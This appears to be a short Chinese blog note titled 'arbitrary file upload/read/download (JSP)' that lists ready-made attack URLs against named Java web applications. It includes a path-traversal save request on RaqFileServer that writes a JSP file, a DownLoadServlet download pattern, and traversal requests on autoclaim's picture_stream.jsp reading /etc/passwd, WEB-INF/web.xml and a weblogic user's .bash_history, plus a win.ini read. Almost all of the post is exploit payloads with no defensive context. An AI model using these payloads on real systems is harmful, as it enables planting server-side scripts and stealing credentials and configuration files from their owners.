0
点赞
收藏
分享

微信扫一扫

任意文件上传/读取/下载(JSP)

ZMXQQ233 2022-11-16 阅读 106

 /editor/uploadAction.action



1. epstar/servlet/RaqFileServer?action=save&fileName=/../test.jsp

火狐 post内容

 

hello word


任意下载:

 

​DownLoadServlet?fileName=&filePath=​

 

文件名config.php     条目录  ..\..\测试

 
​​​2. autoclaim/jsp/picture/picture_stream.jsp?filep=/../../../../../../../../../../../../etc/passwd
3. autoclaim/jsp/picture/picture_stream.jsp?filep=/../../../../../../../../../../../../app/deployment/jingyou/autoclaim/WEB-INF/web.xml
4. autoclaim/jsp/picture/picture_stream.jsp?filep=/../../../../../../../../../../../../home/weblogic/.bash_history  ​
​5 a.picauto?path=C:\Windows\win.ini



举报

相关推荐

0 条评论